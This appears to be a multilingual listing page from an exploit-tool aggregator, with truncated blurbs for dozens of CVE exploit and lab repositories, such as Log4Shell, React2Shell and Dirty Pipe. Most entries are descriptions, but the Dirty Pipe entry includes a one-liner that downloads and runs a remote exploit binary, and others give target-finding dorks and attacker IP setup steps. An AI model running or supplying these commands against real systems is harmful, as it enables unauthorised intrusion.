CVE-2025-30065

💥 CVE-2025-30065 - PoC di deserializzazione Parquet Questo progetto dimostra un proof-of-concept sicuro per CVE-2025-30065 che utilizza Apache Parquet e la deserializzazione Java. Quando viene letto un file Parquet contenente un oggetto Java serializzato, il payload esegue un comando visibile per...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint Questo è l'exploit di CVE-2022-30190 su PowerPoint. Modifica il suffisso del file in 'zip' e decomprimi il file; puoi modificare \ppt\slides\rels\slide1.xml.rels e sostituirlo con il tuo IP:porta della VPS, in questo modo, poi ricomprimi come prima e cambia il suffisso...

MoodleExploit

Exploit per Moodle Titolo dell'exploit: Exploit RCE per Moodle v3.4.1 Google Dork: inurl:"/course/jumpto.php?jump=" Data: 15 marzo 2019 Autore dell'exploit: Darryn Ten Homepage del venditore: https://moodle.org Link del software: https://github.com/moodle/moodle/archive/v3.4.1.zip Versione: 3.4.1...

react2shell-CVE-2025-55182

React2Shell Exploit CVE-2025-55182 Exploit Python per la vulnerabilità RCE di Next.js React Server Components con supporto HTTP/HTTPS. 🚀 Avvio Rapido root@kitploit: Clona ed esegui git clone https://github.com/BrianLopezM99/react2shell-CVE-2025-55182.git cd react2shell-CVE-2025-55182 python3...

EvilRip

Cve-2020-5029-finder Es ist ein kleines Skript, um die Subdomains/IPs zu finden, die anfällig für CVE-2020-5902 sind, geschrieben in Bash. Betroffene Version In BIG-IP-Versionen 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 und 11.6.1-11.6.5.1 weist die Traffic Management Use...

CVE-2018-11776

CVE-2018-11776 Am 23. August 2018 veröffentlichte Apache Strust2 ein neues Sicherheitsbulletin: Apache Struts2 weist eine kritische Schwachstelle auf, die eine Remote-Codeausführung RCE ermöglicht. Die Schwachstelle wurde von einem Sicherheitsforscher des Semmle Security Research Teams gemeldet;...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Exploit di Remote Mouse Descrizione Questo exploit prende di mira la vulnerabilità CVE-2021-35448 nell'applicazione Remote Mouse precedentemente nota come WiFi Mouse. POC CVE-2021-35448.webm Utilizzo Sintassi di base root@kitploit: python3 CVE-2021-35448.py -t OPTIONS Opzioni -t,...

CVE-2022-22980

SpEL RCE Exploit - CVE-2022-22980 Exploit für die Ausführung von Remotecode RCE auf Spring Data über eine SpEL-Injektion Spring Expression Language. Beschreibungen Schwachstelle Die Box stellt einen Endpunkt /search bereit, der einen Parameter trackingid akzeptiert, der anfällig für SpEL-Injektio...

log4j-CVE-2021-44228

Apache Log4j Zero Day aka Log4Shell aka CVE-2021-44228 Introduzione Riprodurre il problema in ambiente k8s Configurare un ambiente k8s con la vulnerabilità Soluzioni possibili KubeArmor Security Policy Non consentire alcuna esecuzione dalla JVM/Java Regole basate su Default Deny...

CVE-2025-55182-React2Shell-Lab

CyberSec Blog CTF - React2Shell PoC Questo repository fornisce un ambiente CTF Capture The Flag vulnerabile basato su un blog di cybersecurity che utilizza Next.js e React Server Components. CVE-2025-55182 : Vulnerabilità di esecuzione di codice in remoto RCE pre-autenticazione in React Server...

CVE-2024-32002-git-rce

CVE-2024-32002-git-rce Exploit RCE per clonazione ricorsiva per macOS e Windows Questo è un exploit per CVE-2024-32002, una vulnerabilità critica in Git che consente l'esecuzione remota di codice durante la clonazione di un repository con sottomoduli. L'exploit funziona creando un repository...

CVE-2024-25082_CVE-2024-25081

⚠️ FontForge RCE — CVE-2024-25081 e CVE-2024-25082 - PoC 📖 Panoramica Exploit proof-of-concept per due vulnerabilità di command injection in FontForge ≤ 20230101 componente Splinefont...

Dirty-Pipe

Exploit in una riga CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2025-55349

CVE-2025-55349 — pm2 Beliebige Codeausführung über postinstall Entdecker : Golden Ticket Labs Hersteller : Unitech pm2 Zuweisungsdatum : 20. August 2025 MITRE Beschreibung Eine Schwachstelle in der Komponente lib/API/Modules/NPM.js von Unitech PM2 v5.4.2 ermöglicht beliebige Codeausführung durch...

CVE-2025-52413

CVE-2025-52413 — Particle Device OS BLE Pufferüberlauf Entdecker : Golden Ticket Labs Anbieter : Particle Datum der Zuweisung : 12. August 2025 MITRE Beschreibung Ein Pufferüberlauf in der Komponente blecontrolrequestchannel.cpp von Particle Device OS v5.6.0 ermöglicht das Überschreiben von...

CVE-2019-2725

CVE-2019-2725 bypass Suggerimenti scritto in python3, payload qui quel payload funziona solo con jdk6 exp usage: usage:exp.py 127.0.0.1:8080 whoami poc dopo aver modificato il file ip.txt, il programma controllerà gli IP in ip.txt, verificando se la vulnerabilità esiste o meno:...

CVE-2024-53900

CTF Challenge - Mongoose RCE CVE-2024-53900 Panoramica della sfida Questa sfida Capture The Flag CTF si basa su CVE-2024-53900, una vulnerabilità in Mongoose che consente l'esecuzione remota di codice RCE a causa dell'uso improprio dell'operatore $where nelle query MongoDB. Il tuo obiettivo è...

FlowiseAI-Critical-KillChain

FlowiseAI — Catena di Attacco Critica Acquisizione account non autenticata in catena con esecuzione di codice remoto su FlowiseAI Compromissione completa del contenitore in meno di 5 secondi , zero credenziali richieste. Kill Chain...

CVE-2020-0688-GUI

1. Scopo del progetto e riferimenti Lo scopo è semplice: di recente ho intenzione di scrivere di nuovo un C2 in C; per cominciare, ho voluto creare qualche piccolo progetto per fare pratica e tenere vivo l'interesse. Così mi è venuta l'idea di trasformare lo strumento del grande zcgonvh in una...

CVE-2024-24919

Ferramenta de Exploração de RCE em Check Point Security Gateway CVE-2024-24919 Visão Geral Este repositório contém uma ferramenta para explorar a vulnerabilidade CVE-2024-24919 em Check Point Security Gateways. A ferramenta é um multi-escâner que pode identificar dispositivos vulneráveis e um...